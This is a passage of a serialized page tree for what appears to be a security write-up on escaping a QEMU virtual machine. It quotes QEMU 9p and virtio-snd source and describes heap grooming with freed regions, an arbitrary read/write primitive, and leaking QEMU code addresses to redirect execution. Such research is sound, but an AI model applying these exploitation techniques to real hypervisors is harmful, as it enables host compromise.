",{"type":23,"tag":139,"props":128057,"children":128058},{"style":982},[128059],{"type":28,"value":1067},{"type":23,"tag":139,"props":128061,"children":128062},{"style":982},[128063],{"type":28,"value":49153},{"type":23,"tag":139,"props":128065,"children":128066},{"style":259},[128067],{"type":28,"value":128068},"EINVAL;\n",{"type":23,"tag":139,"props":128070,"children":128071},{"class":141,"line":1614},[128072,128076],{"type":23,"tag":139,"props":128073,"children":128074},{"style":319},[128075],{"type":28,"value":58449},{"type":23,"tag":139,"props":128077,"children":128078},{"style":259},[128079],{"type":28,"value":58454},{"type":23,"tag":139,"props":128081,"children":128082},{"class":141,"line":1627},[128083],{"type":23,"tag":139,"props":128084,"children":128085},{"style":259},[128086],{"type":28,"value":1326},{"type":23,"tag":139,"props":128088,"children":128089},{"class":141,"line":1636},[128090,128095,128099,128104,128108,128113,128117,128121],{"type":23,"tag":139,"props":128091,"children":128092},{"style":294},[128093],{"type":28,"value":128094},"        newfidp",{"type":23,"tag":139,"props":128096,"children":128097},{"style":259},[128098],{"type":28,"value":11768},{"type":23,"tag":139,"props":128100,"children":128101},{"style":294},[128102],{"type":28,"value":128103},"uid",{"type":23,"tag":139,"props":128105,"children":128106},{"style":982},[128107],{"type":28,"value":985},{"type":23,"tag":139,"props":128109,"children":128110},{"style":294},[128111],{"type":28,"value":128112}," fidp",{"type":23,"tag":139,"props":128114,"children":128115},{"style":259},[128116],{"type":28,"value":11768},{"type":23,"tag":139,"props":128118,"children":128119},{"style":294},[128120],{"type":28,"value":128103},{"type":23,"tag":139,"props":128122,"children":128123},{"style":259},[128124],{"type":28,"value":995},{"type":23,"tag":139,"props":128126,"children":128127},{"class":141,"line":1659},[128128,128133,128137,128141,128146,128150,128154,128158,128162],{"type":23,"tag":139,"props":128129,"children":128130},{"style":245},[128131],{"type":28,"value":128132},"        v9fs_path_copy",{"type":23,"tag":139,"props":128134,"children":128135},{"style":259},[128136],{"type":28,"value":262},{"type":23,"tag":139,"props":128138,"children":128139},{"style":982},[128140],{"type":28,"value":1085},{"type":23,"tag":139,"props":128142,"children":128143},{"style":294},[128144],{"type":28,"value":128145},"newfidp",{"type":23,"tag":139,"props":128147,"children":128148},{"style":259},[128149],{"type":28,"value":11768},{"type":23,"tag":139,"props":128151,"children":128152},{"style":294},[128153],{"type":28,"value":110228},{"type":23,"tag":139,"props":128155,"children":128156},{"style":259},[128157],{"type":28,"value":1052},{"type":23,"tag":139,"props":128159,"children":128160},{"style":982},[128161],{"type":28,"value":1085},{"type":23,"tag":139,"props":128163,"children":128164},{"style":259},[128165],{"type":28,"value":128166},"path);\n",{"type":23,"tag":139,"props":128168,"children":128169},{"class":141,"line":1667},[128170],{"type":23,"tag":139,"props":128171,"children":128172},{"style":259},[128173],{"type":28,"value":1335},{"type":23,"tag":139,"props":128175,"children":128176},{"class":141,"line":1676},[128177],{"type":23,"tag":139,"props":128178,"children":128179},{"emptyLinePlaceholder":15},[128180],{"type":28,"value":184},{"type":23,"tag":139,"props":128182,"children":128183},{"class":141,"line":1745},[128184],{"type":23,"tag":139,"props":128185,"children":128186},{"style":259},[128187],{"type":28,"value":102705},{"type":23,"tag":139,"props":128189,"children":128190},{"class":141,"line":1753},[128191],{"type":23,"tag":139,"props":128192,"children":128193},{"style":259},[128194],{"type":28,"value":1897},{"type":23,"tag":139,"props":128196,"children":128197},{"class":141,"line":1783},[128198],{"type":23,"tag":139,"props":128199,"children":128200},{"emptyLinePlaceholder":15},[128201],{"type":28,"value":184},{"type":23,"tag":139,"props":128203,"children":128204},{"class":141,"line":1791},[128205,128209,128214,128218,128222,128227,128231,128235,128239,128244,128249],{"type":23,"tag":139,"props":128206,"children":128207},{"style":279},[128208],{"type":28,"value":48942},{"type":23,"tag":139,"props":128210,"children":128211},{"style":259},[128212],{"type":28,"value":128213}," V9fsFidState ",{"type":23,"tag":139,"props":128215,"children":128216},{"style":982},[128217],{"type":28,"value":2573},{"type":23,"tag":139,"props":128219,"children":128220},{"style":245},[128221],{"type":28,"value":127831},{"type":23,"tag":139,"props":128223,"children":128224},{"style":259},[128225],{"type":28,"value":128226},"(V9fsState ",{"type":23,"tag":139,"props":128228,"children":128229},{"style":982},[128230],{"type":28,"value":2573},{"type":23,"tag":139,"props":128232,"children":128233},{"style":294},[128234],{"type":28,"value":8661},{"type":23,"tag":139,"props":128236,"children":128237},{"style":259},[128238],{"type":28,"value":1052},{"type":23,"tag":139,"props":128240,"children":128241},{"style":279},[128242],{"type":28,"value":128243},"int32_t",{"type":23,"tag":139,"props":128245,"children":128246},{"style":294},[128247],{"type":28,"value":128248}," fid",{"type":23,"tag":139,"props":128250,"children":128251},{"style":259},[128252],{"type":28,"value":273},{"type":23,"tag":139,"props":128254,"children":128255},{"class":141,"line":1823},[128256],{"type":23,"tag":139,"props":128257,"children":128258},{"style":259},[128259],{"type":28,"value":8890},{"type":23,"tag":139,"props":128261,"children":128262},{"class":141,"line":1831},[128263,128267,128271],{"type":23,"tag":139,"props":128264,"children":128265},{"style":259},[128266],{"type":28,"value":125995},{"type":23,"tag":139,"props":128268,"children":128269},{"style":982},[128270],{"type":28,"value":2573},{"type":23,"tag":139,"props":128272,"children":128273},{"style":259},[128274],{"type":28,"value":49063},{"type":23,"tag":139,"props":128276,"children":128277},{"class":141,"line":1891},[128278],{"type":23,"tag":139,"props":128279,"children":128280},{"emptyLinePlaceholder":15},[128281],{"type":28,"value":184},{"type":23,"tag":139,"props":128283,"children":128284},{"class":141,"line":7053},[128285,128290,128294,128299,128303,128307,128311,128316,128320,128325],{"type":23,"tag":139,"props":128286,"children":128287},{"style":259},[128288],{"type":28,"value":128289},"    f ",{"type":23,"tag":139,"props":128291,"children":128292},{"style":982},[128293],{"type":28,"value":1067},{"type":23,"tag":139,"props":128295,"children":128296},{"style":245},[128297],{"type":28,"value":128298}," g_hash_table_lookup",{"type":23,"tag":139,"props":128300,"children":128301},{"style":259},[128302],{"type":28,"value":262},{"type":23,"tag":139,"props":128304,"children":128305},{"style":294},[128306],{"type":28,"value":8661},{"type":23,"tag":139,"props":128308,"children":128309},{"style":259},[128310],{"type":28,"value":11768},{"type":23,"tag":139,"props":128312,"children":128313},{"style":294},[128314],{"type":28,"value":128315},"fids",{"type":23,"tag":139,"props":128317,"children":128318},{"style":259},[128319],{"type":28,"value":1052},{"type":23,"tag":139,"props":128321,"children":128322},{"style":245},[128323],{"type":28,"value":128324},"GINT_TO_POINTER",{"type":23,"tag":139,"props":128326,"children":128327},{"style":259},[128328],{"type":28,"value":128329},"(fid));\n",{"type":23,"tag":139,"props":128331,"children":128332},{"class":141,"line":7071},[128333,128337],{"type":23,"tag":139,"props":128334,"children":128335},{"style":319},[128336],{"type":28,"value":10290},{"type":23,"tag":139,"props":128338,"children":128339},{"style":259},[128340],{"type":28,"value":128341}," (f) {\n",{"type":23,"tag":139,"props":128343,"children":128344},{"class":141,"line":7116},[128345],{"type":23,"tag":139,"props":128346,"children":128347},{"style":958},[128348],{"type":28,"value":128349},"        /* If fid is already there return NULL */\n",{"type":23,"tag":139,"props":128351,"children":128352},{"class":141,"line":7222},[128353,128358,128362,128366,128370,128375],{"type":23,"tag":139,"props":128354,"children":128355},{"style":245},[128356],{"type":28,"value":128357},"        BUG_ON",{"type":23,"tag":139,"props":128359,"children":128360},{"style":259},[128361],{"type":28,"value":262},{"type":23,"tag":139,"props":128363,"children":128364},{"style":294},[128365],{"type":28,"value":30973},{"type":23,"tag":139,"props":128367,"children":128368},{"style":259},[128369],{"type":28,"value":11768},{"type":23,"tag":139,"props":128371,"children":128372},{"style":294},[128373],{"type":28,"value":128374},"clunked",{"type":23,"tag":139,"props":128376,"children":128377},{"style":259},[128378],{"type":28,"value":1820},{"type":23,"tag":139,"props":128380,"children":128381},{"class":141,"line":21518},[128382,128386,128390],{"type":23,"tag":139,"props":128383,"children":128384},{"style":319},[128385],{"type":28,"value":13755},{"type":23,"tag":139,"props":128387,"children":128388},{"style":279},[128389],{"type":28,"value":125674},{"type":23,"tag":139,"props":128391,"children":128392},{"style":259},[128393],{"type":28,"value":995},{"type":23,"tag":139,"props":128395,"children":128396},{"class":141,"line":21553},[128397],{"type":23,"tag":139,"props":128398,"children":128399},{"style":259},[128400],{"type":28,"value":1335},{"type":23,"tag":139,"props":128402,"children":128403},{"class":141,"line":21561},[128404,128408,128412,128417,128422,128426],{"type":23,"tag":139,"props":128405,"children":128406},{"style":259},[128407],{"type":28,"value":128289},{"type":23,"tag":139,"props":128409,"children":128410},{"style":982},[128411],{"type":28,"value":1067},{"type":23,"tag":139,"props":128413,"children":128414},{"style":245},[128415],{"type":28,"value":128416}," g_new0",{"type":23,"tag":139,"props":128418,"children":128419},{"style":259},[128420],{"type":28,"value":128421},"(V9fsFidState, ",{"type":23,"tag":139,"props":128423,"children":128424},{"style":1016},[128425],{"type":28,"value":647},{"type":23,"tag":139,"props":128427,"children":128428},{"style":259},[128429],{"type":28,"value":1820},{"type":23,"tag":139,"props":128431,"children":128432},{"class":141,"line":21569},[128433],{"type":23,"tag":139,"props":128434,"children":128435},{"emptyLinePlaceholder":15},[128436],{"type":28,"value":184},{"type":23,"tag":139,"props":128438,"children":128439},{"class":141,"line":21578},[128440],{"type":23,"tag":139,"props":128441,"children":128442},{"style":259},[128443],{"type":28,"value":102705},{"type":23,"tag":24,"props":128445,"children":128446},{},[128447,128449,128454],{"type":28,"value":128448},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":135,"props":128450,"children":128452},{"className":128451},[],[128453],{"type":28,"value":127249},{"type":28,"value":126586},{"type":23,"tag":128,"props":128456,"children":128458},{"code":128457},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[128459],{"type":23,"tag":135,"props":128460,"children":128461},{"__ignoreMap":7},[128462],{"type":28,"value":128457},{"type":23,"tag":16900,"props":128464,"children":128466},{"id":128465},"leaking-a-qemu-address",[128467],{"type":28,"value":128468},"Leaking a QEMU Address",{"type":23,"tag":24,"props":128470,"children":128471},{},[128472],{"type":28,"value":128473},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":24,"props":128475,"children":128476},{},[128477,128479,128484],{"type":28,"value":128478},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":135,"props":128480,"children":128482},{"className":128481},[],[128483],{"type":28,"value":121669},{"type":28,"value":2493},{"type":23,"tag":128,"props":128486,"children":128488},{"code":128487,"language":1123,"meta":7,"className":14526,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[128489],{"type":23,"tag":135,"props":128490,"children":128491},{"__ignoreMap":7},[128492,128535,128542,128573,128588,128603,128615,128628,128635,128642,128649,128660,128675,128682,128710,128729,128740,128747,128755,128792,128813,128825,128838,128851,128877,128889,128896,128934,128941,128948,128955,128986,129041,129053,129094,129117,129146,129173,129200,129232],{"type":23,"tag":139,"props":128493,"children":128494},{"class":141,"line":142},[128495,128499,128503,128507,128511,128515,128519,128523,128527,128531],{"type":23,"tag":139,"props":128496,"children":128497},{"style":279},[128498],{"type":28,"value":48942},{"type":23,"tag":139,"props":128500,"children":128501},{"style":279},[128502],{"type":28,"value":48947},{"type":23,"tag":139,"props":128504,"children":128505},{"style":245},[128506],{"type":28,"value":121748},{"type":23,"tag":139,"props":128508,"children":128509},{"style":259},[128510],{"type":28,"value":121753},{"type":23,"tag":139,"props":128512,"children":128513},{"style":982},[128514],{"type":28,"value":2573},{"type":23,"tag":139,"props":128516,"children":128517},{"style":294},[128518],{"type":28,"value":121762},{"type":23,"tag":139,"props":128520,"children":128521},{"style":259},[128522],{"type":28,"value":121767},{"type":23,"tag":139,"props":128524,"children":128525},{"style":982},[128526],{"type":28,"value":2573},{"type":23,"tag":139,"props":128528,"children":128529},{"style":294},[128530],{"type":28,"value":121776},{"type":23,"tag":139,"props":128532,"children":128533},{"style":259},[128534],{"type":28,"value":273},{"type":23,"tag":139,"props":128536,"children":128537},{"class":141,"line":151},[128538],{"type":23,"tag":139,"props":128539,"children":128540},{"style":259},[128541],{"type":28,"value":8890},{"type":23,"tag":139,"props":128543,"children":128544},{"class":141,"line":160},[128545,128550,128554,128559,128563,128568],{"type":23,"tag":139,"props":128546,"children":128547},{"style":259},[128548],{"type":28,"value":128549},"    VirtIOSound ",{"type":23,"tag":139,"props":128551,"children":128552},{"style":982},[128553],{"type":28,"value":2573},{"type":23,"tag":139,"props":128555,"children":128556},{"style":259},[128557],{"type":28,"value":128558},"vsnd ",{"type":23,"tag":139,"props":128560,"children":128561},{"style":982},[128562],{"type":28,"value":1067},{"type":23,"tag":139,"props":128564,"children":128565},{"style":245},[128566],{"type":28,"value":128567}," VIRTIO_SND",{"type":23,"tag":139,"props":128569,"children":128570},{"style":259},[128571],{"type":28,"value":128572},"(vdev);\n",{"type":23,"tag":139,"props":128574,"children":128575},{"class":141,"line":169},[128576,128580,128584],{"type":23,"tag":139,"props":128577,"children":128578},{"style":259},[128579],{"type":28,"value":122766},{"type":23,"tag":139,"props":128581,"children":128582},{"style":982},[128583],{"type":28,"value":2573},{"type":23,"tag":139,"props":128585,"children":128586},{"style":259},[128587],{"type":28,"value":122775},{"type":23,"tag":139,"props":128589,"children":128590},{"class":141,"line":178},[128591,128595,128599],{"type":23,"tag":139,"props":128592,"children":128593},{"style":259},[128594],{"type":28,"value":121795},{"type":23,"tag":139,"props":128596,"children":128597},{"style":982},[128598],{"type":28,"value":2573},{"type":23,"tag":139,"props":128600,"children":128601},{"style":259},[128602],{"type":28,"value":121804},{"type":23,"tag":139,"props":128604,"children":128605},{"class":141,"line":187},[128606,128610],{"type":23,"tag":139,"props":128607,"children":128608},{"style":279},[128609],{"type":28,"value":14576},{"type":23,"tag":139,"props":128611,"children":128612},{"style":259},[128613],{"type":28,"value":128614}," msg_sz, size;\n",{"type":23,"tag":139,"props":128616,"children":128617},{"class":141,"line":196},[128618,128623],{"type":23,"tag":139,"props":128619,"children":128620},{"style":279},[128621],{"type":28,"value":128622},"    uint32_t",{"type":23,"tag":139,"props":128624,"children":128625},{"style":259},[128626],{"type":28,"value":128627}," stream_id;\n",{"type":23,"tag":139,"props":128629,"children":128630},{"class":141,"line":205},[128631],{"type":23,"tag":139,"props":128632,"children":128633},{"emptyLinePlaceholder":15},[128634],{"type":28,"value":184},{"type":23,"tag":139,"props":128636,"children":128637},{"class":141,"line":214},[128638],{"type":23,"tag":139,"props":128639,"children":128640},{"style":259},[128641],{"type":28,"value":102705},{"type":23,"tag":139,"props":128643,"children":128644},{"class":141,"line":1320},[128645],{"type":23,"tag":139,"props":128646,"children":128647},{"emptyLinePlaceholder":15},[128648],{"type":28,"value":184},{"type":23,"tag":139,"props":128650,"children":128651},{"class":141,"line":1329},[128652,128656],{"type":23,"tag":139,"props":128653,"children":128654},{"style":319},[128655],{"type":28,"value":1003},{"type":23,"tag":139,"props":128657,"children":128658},{"style":259},[128659],{"type":28,"value":121830},{"type":23,"tag":139,"props":128661,"children":128662},{"class":141,"line":1580},[128663,128667,128671],{"type":23,"tag":139,"props":128664,"children":128665},{"style":259},[128666],{"type":28,"value":121838},{"type":23,"tag":139,"props":128668,"children":128669},{"style":982},[128670],{"type":28,"value":2573},{"type":23,"tag":139,"props":128672,"children":128673},{"style":259},[128674],{"type":28,"value":121847},{"type":23,"tag":139,"props":128676,"children":128677},{"class":141,"line":1597},[128678],{"type":23,"tag":139,"props":128679,"children":128680},{"emptyLinePlaceholder":15},[128681],{"type":28,"value":184},{"type":23,"tag":139,"props":128683,"children":128684},{"class":141,"line":1614},[128685,128689,128693,128697,128701,128705],{"type":23,"tag":139,"props":128686,"children":128687},{"style":259},[128688],{"type":28,"value":121862},{"type":23,"tag":139,"props":128690,"children":128691},{"style":982},[128692],{"type":28,"value":1067},{"type":23,"tag":139,"props":128694,"children":128695},{"style":245},[128696],{"type":28,"value":121871},{"type":23,"tag":139,"props":128698,"children":128699},{"style":259},[128700],{"type":28,"value":121876},{"type":23,"tag":139,"props":128702,"children":128703},{"style":279},[128704],{"type":28,"value":53226},{"type":23,"tag":139,"props":128706,"children":128707},{"style":259},[128708],{"type":28,"value":128709},"(VirtQueueElement));\n",{"type":23,"tag":139,"props":128711,"children":128712},{"class":141,"line":1627},[128713,128717,128721,128725],{"type":23,"tag":139,"props":128714,"children":128715},{"style":319},[128716],{"type":28,"value":1249},{"type":23,"tag":139,"props":128718,"children":128719},{"style":259},[128720],{"type":28,"value":1042},{"type":23,"tag":139,"props":128722,"children":128723},{"style":982},[128724],{"type":28,"value":18629},{"type":23,"tag":139,"props":128726,"children":128727},{"style":259},[128728],{"type":28,"value":121910},{"type":23,"tag":139,"props":128730,"children":128731},{"class":141,"line":1636},[128732,128736],{"type":23,"tag":139,"props":128733,"children":128734},{"style":319},[128735],{"type":28,"value":1276},{"type":23,"tag":139,"props":128737,"children":128738},{"style":259},[128739],{"type":28,"value":995},{"type":23,"tag":139,"props":128741,"children":128742},{"class":141,"line":1659},[128743],{"type":23,"tag":139,"props":128744,"children":128745},{"style":259},[128746],{"type":28,"value":1326},{"type":23,"tag":139,"props":128748,"children":128749},{"class":141,"line":1667},[128750],{"type":23,"tag":139,"props":128751,"children":128752},{"style":958},[128753],{"type":28,"value":128754},"        /* get the message hdr object */\n",{"type":23,"tag":139,"props":128756,"children":128757},{"class":141,"line":1676},[128758,128763,128767,128772,128776,128780,128784,128788],{"type":23,"tag":139,"props":128759,"children":128760},{"style":259},[128761],{"type":28,"value":128762},"        msg_sz ",{"type":23,"tag":139,"props":128764,"children":128765},{"style":982},[128766],{"type":28,"value":1067},{"type":23,"tag":139,"props":128768,"children":128769},{"style":245},[128770],{"type":28,"value":128771}," iov_to_buf",{"type":23,"tag":139,"props":128773,"children":128774},{"style":259},[128775],{"type":28,"value":262},{"type":23,"tag":139,"props":128777,"children":128778},{"style":294},[128779],{"type":28,"value":49962},{"type":23,"tag":139,"props":128781,"children":128782},{"style":259},[128783],{"type":28,"value":11768},{"type":23,"tag":139,"props":128785,"children":128786},{"style":294},[128787],{"type":28,"value":122314},{"type":23,"tag":139,"props":128789,"children":128790},{"style":259},[128791],{"type":28,"value":1488},{"type":23,"tag":139,"props":128793,"children":128794},{"class":141,"line":1745},[128795,128800,128804,128809],{"type":23,"tag":139,"props":128796,"children":128797},{"style":294},[128798],{"type":28,"value":128799},"                            elem",{"type":23,"tag":139,"props":128801,"children":128802},{"style":259},[128803],{"type":28,"value":11768},{"type":23,"tag":139,"props":128805,"children":128806},{"style":294},[128807],{"type":28,"value":128808},"out_num",{"type":23,"tag":139,"props":128810,"children":128811},{"style":259},[128812],{"type":28,"value":1488},{"type":23,"tag":139,"props":128814,"children":128815},{"class":141,"line":1753},[128816,128821],{"type":23,"tag":139,"props":128817,"children":128818},{"style":1016},[128819],{"type":28,"value":128820},"                            0",{"type":23,"tag":139,"props":128822,"children":128823},{"style":259},[128824],{"type":28,"value":1488},{"type":23,"tag":139,"props":128826,"children":128827},{"class":141,"line":1783},[128828,128833],{"type":23,"tag":139,"props":128829,"children":128830},{"style":982},[128831],{"type":28,"value":128832},"                            &",{"type":23,"tag":139,"props":128834,"children":128835},{"style":259},[128836],{"type":28,"value":128837},"hdr,\n",{"type":23,"tag":139,"props":128839,"children":128840},{"class":141,"line":1791},[128841,128846],{"type":23,"tag":139,"props":128842,"children":128843},{"style":279},[128844],{"type":28,"value":128845},"                            sizeof",{"type":23,"tag":139,"props":128847,"children":128848},{"style":259},[128849],{"type":28,"value":128850},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":139,"props":128852,"children":128853},{"class":141,"line":1823},[128854,128858,128863,128867,128872],{"type":23,"tag":139,"props":128855,"children":128856},{"style":319},[128857],{"type":28,"value":1249},{"type":23,"tag":139,"props":128859,"children":128860},{"style":259},[128861],{"type":28,"value":128862}," (msg_sz ",{"type":23,"tag":139,"props":128864,"children":128865},{"style":982},[128866],{"type":28,"value":13699},{"type":23,"tag":139,"props":128868,"children":128869},{"style":279},[128870],{"type":28,"value":128871}," sizeof",{"type":23,"tag":139,"props":128873,"children":128874},{"style":259},[128875],{"type":28,"value":128876},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":139,"props":128878,"children":128879},{"class":141,"line":1831},[128880,128884],{"type":23,"tag":139,"props":128881,"children":128882},{"style":319},[128883],{"type":28,"value":58449},{"type":23,"tag":139,"props":128885,"children":128886},{"style":259},[128887],{"type":28,"value":128888}," rx_err;\n",{"type":23,"tag":139,"props":128890,"children":128891},{"class":141,"line":1891},[128892],{"type":23,"tag":139,"props":128893,"children":128894},{"style":259},[128895],{"type":28,"value":1326},{"type":23,"tag":139,"props":128897,"children":128898},{"class":141,"line":7053},[128899,128904,128908,128912,128916,128921,128925,128930],{"type":23,"tag":139,"props":128900,"children":128901},{"style":259},[128902],{"type":28,"value":128903},"        stream_id ",{"type":23,"tag":139,"props":128905,"children":128906},{"style":982},[128907],{"type":28,"value":1067},{"type":23,"tag":139,"props":128909,"children":128910},{"style":245},[128911],{"type":28,"value":123776},{"type":23,"tag":139,"props":128913,"children":128914},{"style":259},[128915],{"type":28,"value":262},{"type":23,"tag":139,"props":128917,"children":128918},{"style":294},[128919],{"type":28,"value":128920},"hdr",{"type":23,"tag":139,"props":128922,"children":128923},{"style":259},[128924],{"type":28,"value":73},{"type":23,"tag":139,"props":128926,"children":128927},{"style":294},[128928],{"type":28,"value":128929},"stream_id",{"type":23,"tag":139,"props":128931,"children":128932},{"style":259},[128933],{"type":28,"value":1820},{"type":23,"tag":139,"props":128935,"children":128936},{"class":141,"line":7071},[128937],{"type":23,"tag":139,"props":128938,"children":128939},{"emptyLinePlaceholder":15},[128940],{"type":28,"value":184},{"type":23,"tag":139,"props":128942,"children":128943},{"class":141,"line":7116},[128944],{"type":23,"tag":139,"props":128945,"children":128946},{"style":259},[128947],{"type":28,"value":121943},{"type":23,"tag":139,"props":128949,"children":128950},{"class":141,"line":7222},[128951],{"type":23,"tag":139,"props":128952,"children":128953},{"emptyLinePlaceholder":15},[128954],{"type":28,"value":184},{"type":23,"tag":139,"props":128956,"children":128957},{"class":141,"line":21518},[128958,128962,128966,128970,128974,128978,128982],{"type":23,"tag":139,"props":128959,"children":128960},{"style":245},[128961],{"type":28,"value":121958},{"type":23,"tag":139,"props":128963,"children":128964},{"style":259},[128965],{"type":28,"value":262},{"type":23,"tag":139,"props":128967,"children":128968},{"style":982},[128969],{"type":28,"value":1085},{"type":23,"tag":139,"props":128971,"children":128972},{"style":294},[128973],{"type":28,"value":34151},{"type":23,"tag":139,"props":128975,"children":128976},{"style":259},[128977],{"type":28,"value":11768},{"type":23,"tag":139,"props":128979,"children":128980},{"style":294},[128981],{"type":28,"value":121979},{"type":23,"tag":139,"props":128983,"children":128984},{"style":259},[128985],{"type":28,"value":12815},{"type":23,"tag":139,"props":128987,"children":128988},{"class":141,"line":21553},[128989,128993,128997,129001,129005,129009,129013,129017,129021,129025,129029,129033,129037],{"type":23,"tag":139,"props":128990,"children":128991},{"style":259},[128992],{"type":28,"value":121991},{"type":23,"tag":139,"props":128994,"children":128995},{"style":982},[128996],{"type":28,"value":1067},{"type":23,"tag":139,"props":128998,"children":128999},{"style":245},[129000],{"type":28,"value":122000},{"type":23,"tag":139,"props":129002,"children":129003},{"style":259},[129004],{"type":28,"value":262},{"type":23,"tag":139,"props":129006,"children":129007},{"style":294},[129008],{"type":28,"value":49962},{"type":23,"tag":139,"props":129010,"children":129011},{"style":259},[129012],{"type":28,"value":11768},{"type":23,"tag":139,"props":129014,"children":129015},{"style":294},[129016],{"type":28,"value":122017},{"type":23,"tag":139,"props":129018,"children":129019},{"style":259},[129020],{"type":28,"value":1052},{"type":23,"tag":139,"props":129022,"children":129023},{"style":294},[129024],{"type":28,"value":49962},{"type":23,"tag":139,"props":129026,"children":129027},{"style":259},[129028],{"type":28,"value":11768},{"type":23,"tag":139,"props":129030,"children":129031},{"style":294},[129032],{"type":28,"value":122034},{"type":23,"tag":139,"props":129034,"children":129035},{"style":259},[129036],{"type":28,"value":1062},{"type":23,"tag":139,"props":129038,"children":129039},{"style":982},[129040],{"type":28,"value":48759},{"type":23,"tag":139,"props":129042,"children":129043},{"class":141,"line":21561},[129044,129048],{"type":23,"tag":139,"props":129045,"children":129046},{"style":279},[129047],{"type":28,"value":122050},{"type":23,"tag":139,"props":129049,"children":129050},{"style":259},[129051],{"type":28,"value":129052},"(virtio_snd_pcm_status);\n",{"type":23,"tag":139,"props":129054,"children":129055},{"class":141,"line":21569},[129056,129060,129064,129068,129072,129076,129080,129084,129089],{"type":23,"tag":139,"props":129057,"children":129058},{"style":259},[129059],{"type":28,"value":122068},{"type":23,"tag":139,"props":129061,"children":129062},{"style":982},[129063],{"type":28,"value":1067},{"type":23,"tag":139,"props":129065,"children":129066},{"style":245},[129067],{"type":28,"value":122077},{"type":23,"tag":139,"props":129069,"children":129070},{"style":259},[129071],{"type":28,"value":262},{"type":23,"tag":139,"props":129073,"children":129074},{"style":279},[129075],{"type":28,"value":53226},{"type":23,"tag":139,"props":129077,"children":129078},{"style":259},[129079],{"type":28,"value":122090},{"type":23,"tag":139,"props":129081,"children":129082},{"style":982},[129083],{"type":28,"value":2382},{"type":23,"tag":139,"props":129085,"children":129086},{"style":259},[129087],{"type":28,"value":129088}," size);",{"type":23,"tag":139,"props":129090,"children":129091},{"style":958},[129092],{"type":28,"value":129093},"    // [1]\n",{"type":23,"tag":139,"props":129095,"children":129096},{"class":141,"line":21578},[129097,129101,129105,129109,129113],{"type":23,"tag":139,"props":129098,"children":129099},{"style":294},[129100],{"type":28,"value":122107},{"type":23,"tag":139,"props":129102,"children":129103},{"style":259},[129104],{"type":28,"value":11768},{"type":23,"tag":139,"props":129106,"children":129107},{"style":294},[129108],{"type":28,"value":49962},{"type":23,"tag":139,"props":129110,"children":129111},{"style":982},[129112],{"type":28,"value":985},{"type":23,"tag":139,"props":129114,"children":129115},{"style":259},[129116],{"type":28,"value":122124},{"type":23,"tag":139,"props":129118,"children":129119},{"class":141,"line":21620},[129120,129124,129128,129132,129136,129141],{"type":23,"tag":139,"props":129121,"children":129122},{"style":294},[129123],{"type":28,"value":122107},{"type":23,"tag":139,"props":129125,"children":129126},{"style":259},[129127],{"type":28,"value":11768},{"type":23,"tag":139,"props":129129,"children":129130},{"style":294},[129131],{"type":28,"value":121776},{"type":23,"tag":139,"props":129133,"children":129134},{"style":982},[129135],{"type":28,"value":985},{"type":23,"tag":139,"props":129137,"children":129138},{"style":259},[129139],{"type":28,"value":129140}," vq;",{"type":23,"tag":139,"props":129142,"children":129143},{"style":958},[129144],{"type":28,"value":129145},"                                            // [2]\n",{"type":23,"tag":139,"props":129147,"children":129148},{"class":141,"line":21653},[129149,129153,129157,129161,129165,129169],{"type":23,"tag":139,"props":129150,"children":129151},{"style":294},[129152],{"type":28,"value":122107},{"type":23,"tag":139,"props":129154,"children":129155},{"style":259},[129156],{"type":28,"value":11768},{"type":23,"tag":139,"props":129158,"children":129159},{"style":294},[129160],{"type":28,"value":122164},{"type":23,"tag":139,"props":129162,"children":129163},{"style":982},[129164],{"type":28,"value":985},{"type":23,"tag":139,"props":129166,"children":129167},{"style":1016},[129168],{"type":28,"value":1019},{"type":23,"tag":139,"props":129170,"children":129171},{"style":259},[129172],{"type":28,"value":995},{"type":23,"tag":139,"props":129174,"children":129175},{"class":141,"line":21661},[129176,129180,129184,129188,129192,129196],{"type":23,"tag":139,"props":129177,"children":129178},{"style":294},[129179],{"type":28,"value":122107},{"type":23,"tag":139,"props":129181,"children":129182},{"style":259},[129183],{"type":28,"value":11768},{"type":23,"tag":139,"props":129185,"children":129186},{"style":294},[129187],{"type":28,"value":11912},{"type":23,"tag":139,"props":129189,"children":129190},{"style":982},[129191],{"type":28,"value":985},{"type":23,"tag":139,"props":129193,"children":129194},{"style":1016},[129195],{"type":28,"value":1019},{"type":23,"tag":139,"props":129197,"children":129198},{"style":259},[129199],{"type":28,"value":995},{"type":23,"tag":139,"props":129201,"children":129202},{"class":141,"line":21669},[129203,129207,129211,129215,129219,129223,129227],{"type":23,"tag":139,"props":129204,"children":129205},{"style":245},[129206],{"type":28,"value":122211},{"type":23,"tag":139,"props":129208,"children":129